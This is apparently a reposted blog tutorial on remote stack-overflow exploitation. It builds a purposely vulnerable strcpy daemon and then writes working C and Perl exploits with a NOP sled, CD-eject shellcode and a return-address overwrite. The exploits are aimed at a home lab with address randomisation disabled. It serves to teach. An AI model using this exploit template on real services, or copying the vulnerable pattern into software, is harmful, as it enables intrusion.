Your Ad Here

--[ Contents

1.1 - Goal
1.2 - Situation
1.3 - Vulnerable Daemon + Vulnerability analyses
1.4 - Payload/Code construction/analyses in C
1.5 - Payload/Code construction/analyses in Perl
1.6 - Conlusion


[1.1]--[ Goal

I would recommend you to read my previous tutorial about "Simple Buffer Overflows"
to avoid misunderstanding in this tutorial and to get a basic understanding of buffer overflows.
Our goal is to write two remote exploits , one in c and one in perl.
Both of the exploits, exploit a vulnerability in a small vulnerable daemon.
You would need perl installed(eg: ActivePerl for windows) and a compiler for c
(eg: cygwin for windows) you should have perl and a compiler package installed at your
linux distribution, you can install them with the following commands
(incase you haven't got it installed) :

To search for the perl package:

apt-cache search perl

then to install it:

apt-get install [perl-pkg-name]

you can do the same with the compiler package.


[1.2]--[ Situation

I have a laptop on my left side and a desktop on my right-hand side.
the laptop uses the following local ip address: 192.168.1.100
and the desktop uses: 192.168.1.101 as it's local ip address.
The laptop is the attacker in this situation and the desktop is our victim.
both run slackware 10.2 and have the VA patch turned off.

Turning the VA patch off:

cat /proc/sys/kernel/randomize_va_space
1
echo 0 > /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
0

The desktop computer runs a vulnerable daemon on port 7500 which we have to exploit
and open its cd-rom drive with the payload. Once again it's a very basic stack overflow
and this should be a piece of cake for the average exploit writer but it's very
usefull for people who are just starting to write exploits and exploit buffer overflows.

[1.3]--[ Vulnerable Daemon + Vulnerability analyses

Our vulnerable daemon:

server.c
---

#include
#include
#include
#include
#include
#include
#include

#define LISTENPORT 7500

#define BACKLOG 10

#define MSG "Hello, how are you?"


int handle_reply(char *str)
{

char response[256];

strcpy(response,str);

printf("The client says \"%s\"\n",response);

return 0;

}

int main(int argc, char * argv[]) {
int sock, conn;
struct sockaddr_in my_addr, client_addr;
int sockopt_on = 1;
int sa_in_size = sizeof(struct sockaddr_in);
char reply[1024];



//get a socket
if ((sock = socket(AF_INET, SOCK_STREAM,0)) == -1) {
perror("socket");
exit(1);
}


//first zero the struct
memset((char *) &my_addr, 0, sa_in_size);

//now fill in the fields we need
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(LISTENPORT);
my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

//bind our socket to the port
if (bind(sock,(struct sockaddr *)&my_addr, sa_in_size) == -1) {
perror("bind");
exit(1);
}

//start listening for incoming connections
if (listen(sock,BACKLOG) == -1) {
perror("listen");
exit(1);
}

while(1) {
//grab connections
conn = accept(sock, (struct sockaddr *)&client_addr, &sa_in_size);
if (conn == -1) {
perror("accept");
exit(1);
}

//log the connecter
printf("got connection from %s\n", inet_ntoa(client_addr.sin_addr));

//send a greeting
send(conn,MSG,strlen(MSG)+1,0);

//get the reply
recv(conn, reply, 1024, 0);

handle_reply(reply);

}

return 0;
}
---

This piece of code serves as a daemon and waits for people to connect,
on a successfull connection the server replies with a message and
waits for the user to reply back with his message.
The message get's stored in a buffer called 'reply' which can hold
1024 bytes of data.

the vulnerability lies in the handle_reply() function let's analyze it:

handle_reply()
---

int handle_reply(char *str)
{

char response[256];

strcpy(response,str);

printf("The client says \"%s\"\n",response);

return 0;

}
---

as you can see it has a response buffer which can hold 256 bytes of data
the reply message from the user gets copied in that buffer and the response
message is viewed at the server.

like this,

client:
---

telnet 192.168.1.101 7500
Trying 192.168.1.101...
Connected to 192.168.1.101.
Escape character is '^]'.
Hello, how are you?fine thanks how are you?

---

server:
---

got connection from 192.168.1.100
The client says "fine thanks how are you?
"
---

as you can see nothing special happens. But let's try to send a buffer which
is 272 bytes , which exceeds the buffersize of the response buffer in the handle_reply()
function.


[1.4]--[ Payload/Code construction/analyses in C

We want to send a 272 byte buffer to port 7500 of our victim (192.168.1.101)
so let's start by writing a simple piece of c code which can send 272 x A (0x41) to port
7500. Also don't forget to enable coredumps to analyze the overflow,

Enabling coredumps:

ulimit -c unlimited

Our overflow code:

send_overflow.c
---

/*

-- Send overflow (C version) written by Preddy

Part of Preddy's Remote Exploitation with C and Perl tutorial

Usage: ./send_overflow

Example: ./send_overflow 192.168.1.101

*/

/*
include headers which are required for a network connection
and other functionalities in the program
*/

#include
#include
#include
#include
#include
#include
#include

/*
define our remote port and the data which we are going to send
*/

#define REMPORT 7500
#define A 0x41

//Start with the program
int main(int argc,char **argv)
{

/* declare our variables */
int conn; //our connection variable, which will connect to the remote computer
int fd; // our socket file descriptor

//assign struct sockadd_in to remaddr
struct sockaddr_in remaddr;

//declare our payload buffer which will hold 272 bytes of data
char payload[272];

/*
check if the first commandline argument is given (the ip address)
if NOT print a message and exit
*/

if(!argv[1])
{

printf("Specify ip plz..\n");

exit(1);

}

/*
create the socket and also check for errors at creation
if an error is detected socket() will return -1
*/
if((fd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{

perror("socket");

exit(1);

}

/*
this is going to overwrite the Extended Instruction Pointer
with 4 x 0x42 (BBBB -> 0x42 is also knows as B in its ascii form - http://www.lookuptables.com/)
*/

char *eip = "\x42\x42\x42\x42";

/*
fill our payload with 268 bytes of A (previously defined as 0x41)
*/

memset(payload,A,268);

/* fill the part after 268 bytes with our eip (BBBB - 0x42424242) */

memcpy(payload+268,eip,sizeof(eip));

/* connection information */
remaddr.sin_family = AF_INET; //domain
remaddr.sin_addr.s_addr = inet_addr(argv[1]); //remote connection address (our first argument - IP)
remaddr.sin_port = htons(REMPORT); //the remote port to connect to (previously defined as 7500)

/* this is where the actual connection take's place */

conn = connect(fd, (struct sockaddr_in *)&remaddr,sizeof(remaddr));

/* check the connection for errors as you know it returns -1 at errors */
if(conn < 0)
{

printf("Error: could not connect\n");
exit(1);
}

/* this is the part where our payload gets sent */

send(fd,payload,strlen(payload),0);

/* this is extra information which is displayed after sending the payload */

printf("Payload Size: %i\n",sizeof(payload));
printf("Payload Sent..\n");

}

---

Now we can start with compiling our program:

client:
---
gcc send_overflow.c -o send_overflow

./send_overflow 192.168.1.101
Payload Size: 272
Payload Sent..
---

server:
---

got connection from 192.168.1.100
The client says "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAABBBB"
Segmentation fault (core dumped)
bash-3.00# gdb -c core ./server
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

Core was generated by `./server'.
Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can't read pathname for load map: Input/output error

Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x42424242 in ?? ()
(gdb) i r eip
eip 0x42424242 0x42424242
(gdb)

---

as you see we have overwritten the extended intruction pointer with our own
eip which we constructed before in our payload (char *eip = "\x42\x42\x42\x42"Wink
and its overwritten with exacly BBBB

so now we have to place our shellcode in our payload and also our nopsled.
and finish a huge part of the exploit.

server_exploit.c
---

/*

-- Remote "eject cd-rom" exploit (C version) written by Preddy

Part of Preddy's Remote Exploitation with C and Perl tutorial

Usage: ./server_exploit

Example: ./server_exploit 192.168.1.101

*/

/*
include headers which are required for a network connection
and other functionalities in the program
*/

#include
#include
#include
#include
#include
#include
#include

/*
define our remote port and the data which we are going to send
*/

#define REMPORT 7500
#define NOP 0x90
#define A 0x41

//Start with the program

int main(int argc,char **argv)
{

//Our shellcode which ejects the cd-rom drive..

/*
* (linux/x86) eject cd-rom (follows "/dev/cdrom" symlink) + exit() - 40 bytes
* - izik
*/

char scode[] =

"\x6a\x05" // push $0x5
"\x58" // pop %eax
"\x31\xc9" // xor %ecx,%ecx
"\x51" // push %ecx
"\xb5\x08" // mov $0x8,%ch
"\x68\x64\x72\x6f\x6d" // push $0x6d6f7264
"\x68\x65\x76\x2f\x63" // push $0x632f7665
"\x68\x2f\x2f\x2f\x64" // push $0x642f2f2f
"\x89\xe3" // mov %esp,%ebx
"\xcd\x80" // int $0x80
"\x89\xc3" // mov %eax,%ebx
"\xb0\x36" // mov $0x36,%al
"\x66\xb9\x09\x53" // mov $0x5309,%cx
"\xcd\x80" // int $0x80
"\x40" // inc %eax
"\xcd\x80"; // int $0x80


/* declare our variables */
int conn; //our connection variable, which will connect to the remote computer
int fd; // our socket file descriptor

//assign struct sockadd_in to remaddr
struct sockaddr_in remaddr;

//declare our payload buffer which will hold 272 bytes of data
char payload[272];

/*
check if the first commandline argument is given (the ip address)
if NOT print a message and exit
*/

if(!argv[1])
{

printf("Specify ip plz..\n");

exit(1);

}

/*
create the socket and also check for errors at creation
if an error is detected socket() will return -1
*/

if((fd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{

perror("socket");

exit(1);

}

/*
this is going to overwrite the Extended Instruction Pointer
with 4 x 0x42 (BBBB -> 0x42 is also knows as B in its ascii form - http://www.lookuptables.com/)
*/

char *eip = "\x42\x42\x42\x42";

/*

Shellcode size: 40 bytes

272 bytes used to overwrite eip with 0x42424242

eip = 4 bytes

272 -4 = 268
268 - 40 = 228
Nopsled = 228 bytes

*/

memset(payload,NOP,228); //construct the nopsled
memcpy(payload+228,scode,sizeof(scode)); //place our shellcode after the nopsled
memcpy(payload+268,eip,sizeof(eip)); //place eip after our shellcode

/*

structure:

[NOPSLED - 228 BYTES] + [SHELLCODE - 40 BYTES] + [EIP - 4 BYTES] = 272 BYTES

*/


/* connection information */
remaddr.sin_family = AF_INET; //domain
remaddr.sin_addr.s_addr = inet_addr(argv[1]); //remote connection address (our first argument - IP)
remaddr.sin_port = htons(REMPORT); //the remote port to connect to (previously defined as 7500)

/* this is where the actual connection take's place */

conn = connect(fd, (struct sockaddr_in *)&remaddr,sizeof(remaddr));

/* check the connection for errors as you know it returns -1 at errors */
if(conn < 0)
{

printf("Error: could not connect\n");
exit(1);
}

/* this is the part where our payload gets sent */

send(fd,payload,strlen(payload),0);

/* this is extra information which is displayed after sending the payload */

printf("Payload Size: %i\n",sizeof(payload));
printf("Payload Sent..\n");

}

---

Let's start compiling our exploit,

client:
---
gcc server_exploit.c -o server_exploit

./server_exploit 192.168.1.101
Payload Size: 272
Payload Sent..

---

server:
---

bash-3.00# ./server
got connection from 192.168.1.100
The client says "jX1?Qhdromhev/ch///d??e6f? S? @?BBBB"
^[[?1;2cSegmentation fault (core dumped)
bash-3.00# gdb -c core ./server
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

Core was generated by `./server'.
Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can't read pathname for load map: Input/output error

Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x42424242 in ?? ()
(gdb)
(gdb) i r eip
eip 0x42424242 0x42424242
(gdb) x/1000xb $esp
0xbffff2b0: 0x02 0x00 0xff 0xbf 0xc0 0xf2 0xff 0xbf
0xbffff2b8: 0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00
0xbffff2c0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff2c8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff2d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff2d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff2e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff2e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff2f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff2f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff300: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff308: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff310: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff318: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff320: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff328: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff330: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff338: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff340: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff348: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff350: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff358: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff360: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff368: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff370: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff378: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff380: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff388: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90

---

As you can see we have overwritten the extended instruction pointer once again
and you can see our nopsled above in memory

Let's pick a random address from the nopsled,

0xbffff2f8

write it in little-endian format (more info: http://www.answers.com/topic/endianness)

EIP:

\xf8\xf2\xff\xbf

and let's replace the old EIP with the new one in our "server_exploit.c" program

so:

char *eip = "\x42\x42\x42\x42";

becomes

char *eip = "\xf8\xf2\xff\xbf";

and let's recompile the program,

gcc server_exploit.c -o server_exploit

client:
---

./server_exploit 192.168.1.101
Payload Size: 272
Payload Sent..
---

server:
---
bash-3.00# ./server
got connection from 192.168.1.100
The client says "jX1?Qhdromhev/ch///d??e6f? S? @?Huh??"
^[[?1;2cbash-3.00# 1;2c
---

and yes, my cd-rom drive ejected....

as you can see we have managed to successfully exploit a remote
buffer overflow by using c code. Some people have allot of problems with
c , they find it hard or they are to lazy to learn it :PpPppP

Perl is allot easier to learn in my opinion and would be confortable for
some people.The next section will use Perl to exploit this vulnerability
and open the cd-rom drive of the computer.


[1.5]--[ Payload/Code construction/analyses in Perl

Let's start again by sending a 272 byte buffer to the server in Perl,

send_overflow.pl
---

#!/usr/bin/perl

################################################## ##################
#
#-- Send overflow (Perl version) written by Preddy
#
# Part of Preddy's Remote Exploitation with C and Perl tutorial
#
# Usage: perl send_overflow.pl
#
# Example: perl send_overflow.pl 192.168.1.101
#
################################################## ##################

#IO::Socket for network connections
use IO::Socket;

#the ip address is our first commandline argument also known as ARGV[0] in Perl
$ip = $ARGV[0];

#our payload which is 272 bytes of A (0x41,x41)
$payload = "\x41"x272;

#view a message if no ip address is given
if(!$ip)
{

die "Specify ip plz..\n";

}

#the remote port to connect to
$port = '7500';

#the connection protocol to use
$protocol = 'tcp';

#create the actual network connection
#and print an error message if it's not possible to create a socket
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
PeerPort=>$port,
Proto=>$protocol,
Timeout=>'1') || die "Could not create socket\n";


#send the payload to the remote computer
print $socket $payload;

#close the connection
close($socket);

---

Let's start by running the script without any arguments,

perl send_overflow.pl
Specify ip plz..

And let's send the payload (272 x A - 0x41)

client:
---
perl send_overflow.pl 192.168.1.101

---

server:
---

bash-3.00# ./server
got connection from 192.168.1.100
The client says "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAABBBB"
Segmentation fault (core dumped)
bash-3.00# gdb -c core ./server
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

Core was generated by `./server'.
Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can't read pathname for load map: Input/output error

Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb)
(gdb) i r eip
eip 0x41414141 0x41414141
---

as you can see we have overwritten eip ,

now let's construct our payload

[NOPSLED - 228 bytes] + [SHELLCODE - 40 bytes] + [EIP - 4 bytes] = 272 bytes

we can just use the same payload from the C section
in it's perl form.

server_exploit.pl
---
#!/usr/bin/perl

################################################## ##################
#
#-- Server Exploit (Perl version) written by Preddy
#
# Part of Preddy's Remote Exploitation with C and Perl tutorial
#
# Usage: perl server_exploit.pl
#
# Example: perl server_exploit.pl 192.168.1.101
#
################################################## ##################

#IO::Socket for network connections
use IO::Socket;

#the ip address is our first commandline argument also known as ARGV[0] in Perl
$ip = $ARGV[0];

#our nopsled
$nopsled = "\x90"x228;

#our shellcode which opens the remote cd-rom drive - 40 bytes (thanks to izik)
$shellcode = "\x6a\x05". # push $0x5
"\x58". # pop %eax
"\x31\xc9". # xor %ecx,%ecx
"\x51". # push %ecx
"\xb5\x08". # mov $0x8,%ch
"\x68\x64\x72\x6f\x6d". # push $0x6d6f7264
"\x68\x65\x76\x2f\x63". # push $0x632f7665
"\x68\x2f\x2f\x2f\x64". # push $0x642f2f2f
"\x89\xe3". # mov %esp,%ebx
"\xcd\x80". # int $0x80
"\x89\xc3". # mov %eax,%ebx
"\xb0\x36". # mov $0x36,%al
"\x66\xb9\x09\x53". # mov $0x5309,%cx
"\xcd\x80". # int $0x80
"\x40". # inc %eax
"\xcd\x80"; # int $0x80

#our extended instruction pointer which we use to overwrite the remote eip
$eip = "\xf8\xf2\xff\xbf";

#we construct our full payload here
$payload = $nopsled.$shellcode.$eip;

#view a message if no ip address is given
if(!$ip)
{

die "Specify ip plz..\n";

}

#the remote port to connect to
$port = '7500';

#the connection protocol to use
$protocol = 'tcp';

#create the actual network connection
#and print an error message if it's not possible to create a socket
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
PeerPort=>$port,
Proto=>$protocol,
Timeout=>'1') || die "Could not create socket\n";


#send the payload to the remote computer
print $socket $payload;

#close the connection
close($socket);

---
Let's run the perl script again:

perl server_exploit.pl 192.168.1.101

and yes! my cd-rom drive opened again Smiley what a miracle.. :PpPppP
(kids: don't irritate your father's box by continuesly opening his cd-rom drive)


[1.6]--[ Conclusion

Well we have learned to construct payloads and write exploits which
use those payloads. A good thing to do is to learn more about different
types of overflows and their exploitation methods, also practicing
different types of programming languages could be usefull.

Posted by Cyber Trunks

0 comments:

Your Ad Here